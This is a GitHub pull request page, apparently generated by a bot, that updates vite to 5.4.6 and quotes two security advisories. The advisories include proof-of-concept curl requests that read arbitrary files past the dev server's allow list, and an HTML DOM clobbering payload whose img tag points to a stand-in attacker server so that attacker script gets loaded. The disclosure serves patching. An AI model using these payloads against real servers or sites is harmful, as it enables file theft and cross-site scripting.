chore(deps): update dependency vite to v5.4.6 [security] #133

renovate · 2024-09-17T21:28:51Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
vite (source)	`5.4.3` -> `5.4.6`

GitHub Vulnerability Alerts

CVE-2024-45811

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

CVE-2024-45812

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)

// extra.js
export default "https://myserver/justAnOther.js"

// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

Release Notes

vitejs/vite (vite)

`v5.4.6`

Compare Source

Please refer to CHANGELOG.md for details.

`v5.4.5`

Compare Source

Please refer to CHANGELOG.md for details.

`v5.4.4`

Compare Source

Please refer to CHANGELOG.md for details.

Configuration

📅 Schedule: Branch creation - "" in timezone Europe/Madrid, Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

relativeci · 2024-09-17T21:29:28Z

#897 Bundle Size — 1.18MiB (~+0.01%).

77e288f(current) vs 9c2e557 master#896(baseline)

Warning

Bundle contains 3 duplicate packages – View duplicate packages

Bundle metrics

2 changes

1 regression

	Current #897	Baseline #896
Initial JS	`471.63KiB`(`+0.02%`)	`471.55KiB`
Initial CSS	`0B`	`0B`
Cache Invalidation	`54.88%`	`0%`
Chunks	`7`	`7`
Assets	`9`	`9`
Modules	`666`	`666`
Duplicate Modules	`0`	`0`
Duplicate Code	`0%`	`0%`
Packages	`92`	`92`
Duplicate Packages	`3`	`3`

Bundle size by type

1 change

1 regression

	Current #897	Baseline #896
JS	`663.69KiB` (`+0.01%`)	`663.61KiB`
CSS	`545.57KiB`	`545.57KiB`

Bundle analysis report Branch renovate-npm-vite-vulnerability Project dashboard

^{Generated by RelativeCI Documentation Report issue}

renovate bot force-pushed the renovate-npm-vite-vulnerability branch 2 times, most recently from 8b3fc6a to f482ea1 Compare September 23, 2024 17:01

renovate bot force-pushed the renovate-npm-vite-vulnerability branch 3 times, most recently from df2075e to df9ba8d Compare October 13, 2024 04:27

renovate bot force-pushed the renovate-npm-vite-vulnerability branch from df9ba8d to 165d454 Compare October 20, 2024 03:55

renovate bot force-pushed the renovate-npm-vite-vulnerability branch 2 times, most recently from 5e5a186 to ae1dcb3 Compare November 3, 2024 06:15

chore(deps): update dependency vite to v5.4.6 [security]

77e288f

renovate bot force-pushed the renovate-npm-vite-vulnerability branch from ae1dcb3 to 77e288f Compare November 3, 2024 10:07

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

chore(deps): update dependency vite to v5.4.6 [security] #133

chore(deps): update dependency vite to v5.4.6 [security] #133

renovate bot commented Sep 17, 2024 •

edited

Loading

relativeci bot commented Sep 17, 2024 •

edited

Loading

chore(deps): update dependency vite to v5.4.6 [security] #133

Are you sure you want to change the base?

chore(deps): update dependency vite to v5.4.6 [security] #133

Conversation

renovate bot commented Sep 17, 2024 • edited Loading

GitHub Vulnerability Alerts

CVE-2024-45811

Summary

Details

PoC

CVE-2024-45812

Summary

Details

PoC

Impact

Patch

Release Notes

v5.4.6

v5.4.5

v5.4.4

Configuration

relativeci bot commented Sep 17, 2024 • edited Loading

#897 Bundle Size — 1.18MiB (~+0.01%).

renovate bot commented Sep 17, 2024 •

edited

Loading

`v5.4.6`

`v5.4.5`

`v5.4.4`

relativeci bot commented Sep 17, 2024 •

edited

Loading